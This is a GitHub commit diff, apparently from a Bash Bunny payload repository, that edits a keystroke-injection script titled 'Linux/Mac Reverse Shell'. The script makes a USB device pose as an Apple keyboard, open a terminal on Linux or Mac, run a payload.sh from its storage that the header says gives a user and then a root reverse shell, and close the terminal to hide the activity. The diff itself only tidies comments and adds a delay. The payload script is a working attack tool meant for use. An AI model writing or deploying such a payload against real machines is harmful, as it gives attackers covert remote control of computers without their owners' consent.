Added delay for device recognition

pull/416/head
Darkprince 2024-07-23 17:56:14 +05:30 committed by GitHub
parent 94c3342302
commit 19b4ff63f0
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 16 additions and 16 deletions

View File

@ -1,47 +1,47 @@
# Title: Linux/Mac Reverse Shell
# Author: Darkprince(Sridhar)
# Author: Darkprince (Sridhar)
# Version: 1.0
#
# Runs a script in the background that gives a user shell initially and waits for user to
# escalate privileges and give a root reverse shell
#
# Magenta..................Setup
# Red,Green,Blue......Executing
# Green....................Finished
# Runs a script in the background that provides a user shell initially and waits for the user to escalate privileges, then provides a root reverse shell.
# Magenta..................Setup
# Red, Green, Blue.........Executing
# Green....................Finished
# INITIALIZING
LED W
# Mac keyboard works in linux and mac
# Mac keyboard works in Linux and Mac
ATTACKMODE STORAGE HID VID_0X05AC PID_0X021E
LANGUAGE='us'
# Make sure the switch position is 1
# Ensure the switch position is 1
# Delay for HID device recognition
Q DELAY 1000
# ATTACKING
LED R G B
# Get linux,mac Termial
# Get Linux/Mac Terminal
RUN UNITY xterm
Q DELAY 1000
# To close opened window by linux run command
# To close the opened window by the Linux run command
Q GUI Q
Q CTRL C
RUN OSX terminal
Q DELAY 1000
# If linux then clearing 'terminal' which is typed by mac run script
# If Linux, then clearing 'terminal' which is typed by Mac run script
Q CTRL C
# Executing bash script which is same for mac and linux
# Execute bash script which is the same for Mac and Linux
GET SWITCH_POSITION
Q STRING bash /Volumes/BashBunny/payloads/$SWITCH_POSITION/payload.sh
# The cleanup process will done by bash script
# Closing the xterm in linux
# Closing the terminal in mac even if terminal has other process COMMAND Q and ENTER key will terminates terminal
# The cleanup process will be handled by the bash script
# Closing the xterm in Linux
# Closing the terminal in Mac, even if the terminal has other processes COMMAND Q and ENTER keys will terminate the terminal
Q GUI Q
Q CTRL C
Q STRING exit